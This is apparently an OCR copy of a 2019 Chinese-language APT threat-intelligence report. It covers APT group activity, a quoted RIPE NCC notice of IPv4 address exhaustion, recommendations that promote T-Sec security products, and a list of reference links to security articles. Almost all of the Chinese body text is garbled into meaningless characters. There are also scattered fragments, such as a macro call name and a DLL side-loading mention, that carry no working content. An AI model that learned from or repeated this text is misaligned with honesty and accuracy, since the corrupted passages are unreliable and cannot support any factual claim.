Call unRafzaizip(zip_Rafzai_file, fldr Rafzai_name)

RIBELER (ZiDonot, AjATransparentTribe)

WX BELAIRIEESD:

| v ETETEREXDEEGE » STHE (TR -4 || mE =TT

BEEER v = ST

z s A e T
. wwlib.dll L’__”Ls Exe

Microsoft Office Word

1
vl iiva=

& HpayloadiiT A AR IEER

78 2020 B DS SE TR
6.1 HREFEMAPTIE

20195, ELF—EAPTARTIAD KRB FHBRBTHRKE, WMFin6F. BREEHER
5, SRR—ENEERNZTNE, BRENESHING, —LEAPTALRN TREBMHKIL S ST,
ERERPERANERLLERE, BRIRBSANRFRTNEN,

EXE, BB —THFENAR, ERNOTEXETAPTARNBEXHHIRES, 8
RERF T wannacryIRwE, MENIARARMKES N L TEIHHEwannacry#h ZmE,
HWHEAFEIRRNFREE. REZTWRERI, BZAPTARNTERMRTRN, AREZAFRNAZLIN
fMRE LREAKELR, M TRBRRERKIEE.

6.2 FXEMTWHIRHNNERIES

7£2019%, ELHMBEHXIEER. BEFEMTWINRBNKREEN. BRl—LAPTAREZT
RIRBABZEAOBR, BARANREBRN—LEEMRE, WEHRAF. LTHEDENER
208, MEREREL ML,

6.3 IEXMIRE R AFRI T B AR

MESGRANAR, BHEEMIRENE RITESITNKEER, WsVREMHILAEESNT,
BRER Gk, TR, EEMM—MERREHMAERNFNER, MHMRFEARDEINER
RENHEEENGE, BRMIRNEE. NEHRER, BEEMBEMIRETATRERNHANIEANR
PR BLEBER o

6.4 IR FAEMMNE

MERNEZLERIRWEFNEMELZERINE R, EBEIRARMNET SRS AT eI
NEEHENEN, RRANKERINRNZINA ek, S TAPTHASRERIRA th sk
R, RERBFIESERERAGFER, RSFR/E, LARGRE, MWHEMIRERREE. 2019FWindo
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WSEERZRLIBE T 2 T ROPIZIZR, MiSHACK0dayEBFIMALK—BRNET, AMHR
FREMIMESHTRRLERE R, FEF 0RO HARS 2D A AERR ZIRRAOBLAD .

6.5 ARNFREEMA

hEE—LLAPTARNH AR EROMEE, URERHEZNARERLFNRSEE, HEFBFRNKE
TR#THR, EEMRB[IHTARIEERME. MREEHNES, ESETTPs EHERED
FHE—ENEE., 5, THABSNRIZBAR, SHEMIREOXBKEFEERNATE, BFTX
LRESN, RLEEFBAERNKEAR, hEFaTMNERMERERSE (MCACIRSERA—
R, REFDRBRES) , AUNERFSGNERE LthEERANER. MtBHNERRSHART
BRIBES B —ARHkL.

6.6 EFIPveRII T RAEIE

2019118250, BUMMLHEZORIPE NCC 5043 {21 IPv4 it ESH BT, XEREELR
REEZH IPv4 It RTIAS Boss ISP FIE M RBUMARRIRMEIR M, IPVMEXEEER.

Nikolas Pediaditis ¢

par ncc-announce
A : ncc-announce@ripe.net

25nov. 2019 32 15:40

Dear colleagues,

Today, at 15:35 UTC+1 on 25 November 2019,
we made our final /22 IPv4 allocation from
the last remaining addresses in our
available pool. We have now run out of IPv4
addresses.

Our announcement will not come as a surprise
for network operators - IPv4 run-out has
long been anticipated and planned for by the
RIPE community. In fact, it is due to the
community's responsible stewardship of these
resources that we have been able to provide
many thousands of new networks in our
service region with /22 allocations after we
reached our last /8 in 2012.

Nikolas Pediaditis = #RIPvAFE R # & FlR {4+

BEIPVANFER, SEURESHNREEERIPVORHITRE, BREART LR ERENEIENR
REENENESE (ARENPEDERE) , SSRTEREHIHEED HI—EHDE, FibnE
FRFETIPVORYIRAR, thAA TIRERE BB A REAGK ERISLER,

- e

+t. ZEEN
FNBENEREENN., RIfRM. ESEWSZEUTLABEHE L REHRLLIHAPTIE:
1. BYEHREEHE EMORGD R RE T HEENMGE;

2B EEELANWIFIRNG, EOTERABWIFNGE, BINAE#HTISHENSBERETE
SHUIRME, MERERE. IME(E. RITHEKSE SEPFEEERQBWIFIHETERREN
THRIRIES
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JRAREEIR, TEITFARBLABERIMBEAMEE: BRIESGERRERSE, BipH, SNIAERS
B ROfficefy =D

4. RESRERIERGH T FOffice T BERMAFHIHT

5. ERRERUMHERESHRERDIRE, WFRWAF, EEEABRT-SecRirT2ERRS(
BRER). BIHRRNEENFERESTRSHEE, TENEUAPEERSAIANR
RS 5

= E55 (KB4499175 ) (& 100, 50MB

{ERBMT-SecRITLEERARLTRARAIT

6. WEBUSHM ., HRUREECWAFTEENT-SecSREMENALS BMER) REH
RBERE. BRT-SecRREMENRS, RETEIRERRELNENTERESN. KT
BINECHIRESHIE, MALRNRSRERIEBRRUER RS, (https://s.tencent.
com/product/gjwxjc/index.html)

{EABEINT-SecBHEMIGIN RS R IR BEREHTH

7. #ERABAREEDERAIIFRTRS

SaaSH= B st LA E IR E W7 @ T-Sec-FAMEIR T ERSS", %2 XJIP/Domain/ S {45 33 RAVEL
WEE. SaaSHRARMEREIBRIIR R T-Secm REMERRL" . ARETANREETE
WEMEMFENEEAKERFAXER. WEMEAT .

SEHEE: https://cloud.tencent.com/product/tics

T-SecEMFEIRTA (TIP) RIEBNRERHMBRENER—ETAMTENEMBREEFE,
BHERBBEFERAN/ZM/ME ZEMRLINEEREENEN.

T-Sec SREMERRS, BAAFPHTERIH. KEEMMXKOW, EWERL, AR
MERRREH RIHTRE,

SE541E: https://cloud.tencent.com/product/atts

8. MEBEAMRAENT-Sec REZF=RLGNAS (BREHM) EERIRNZETEERR
EREM.
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BEIRT-Sec MAR=XILIGMALE (BINEE) E—REHRVUMER=HIRFIEXRE =@, 7]
EXUEEENRLE, ZEN. NMEFFEFEFENNE, B850, Web FREAME, %
MEVEARSN ., MIEHEN, EDET NS 2 LT~ R,

& ; N

B RS R A

eR

R ENER

87+ 34 89+ 39+ 12+ 290+

HMES

{EABINT-SecMA R =N AS () WNIHEFERF R

I\, MR
8.1 HiR1: BRRSEMHERHL

BRZ2RMERPL, B—TERSERSHELIBENBERDF. RIWRESTTFE. KIEBEAZZ
EBEREARMELOME, BINRES . MRLEEREANIEESE, FEBRESRIFELRE
(APT) EANABRZEMIBER, BEHLEIWARRE, ERYATRBMHITINE. WEIF.

BRZEZRMERPOLARSEFSUER, RHTAENEMITIRE, SETEHAFRIHH
EARMEEROAPTRERS, TIEERDTRENHELERSTRENRE L, MATFUWRTAKKE,
RHTREEFPMRELRNIFT, BRNEMHNBROZERBFNXEAREMERITAS.

MTREARZEMERPOARSHTHER, XEFRHE _4H:

8.2 MiR2: SEHIE

1. https://www.kaspersky.com/blog/darkhotel-hackingteam/15090/
2. https://www.freebuf.com/news/72852.html
3. https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/

4. https://securelist.com/chrome-0-day-exploit-cve-2019-13720-used-in-operation-wizardopium/948

66/
5. https://twitter.com/cyberwar_15/status/1190461542711513089
6. https://www.nytimes.com/2019/08/28/us/politics/us-iran-cyber-attack.html
7. https://www.securitynewspaper.com/2019/07/15/new-york-power-blackout-did-iran-did-performe

d-a-counter-cyberattack/
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3/12/2020 EEREEFFENE N (APT) 20194ERF 5844 - BUMMIE 98 1 DU BUMMS I & _B0 A 500 22 BT SR _ i 1 _o2AIEE - B e4
8. https://www.welivesecurity.com/2019/05/07/turla-lightneuron-email-too-far/

9. https://www.ncsc.gov.uk/news/turla-group-exploits-iran-apt-to-expand-coverage-of-victims

10. https://labs.sentinelone.com/the-deadly-planeswalker-how-the-trickbot-group-united-high-tech-c

rimeware-apt/
11, https://www.altran.com/as-content/uploads/sites/7/2019/01/pr-altran-28-january-en.pdf
12, https://twitter.com/a_tweeter_user/status/1188811977851887616

13, https://indianexpress.com/article/india/not-only-kudankulam-isro-too-was-alerted-of-cyber-securi

ty-breach-6105184/
14 https://zerodium.com/program.html
15, https://securelist.com/operation-shadowhammer-a-high-profile-supply-chain-attack/90380/

16. https://www.welivesecurity.com/2019/05/14/plead-malware-mitm-asus-webstorage/

THIREHIPDFARA :

http://pcl.gtimg.com/softmgr/files/apt_report_2019.pdf

BEXXE
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HARBELERRS BB RS BT RS = ROE
MRS REARNRS B2 B BAR2RETFE ERRLES B4
AR BESARBATA ZRAH RIEEFREE BERBA R e o
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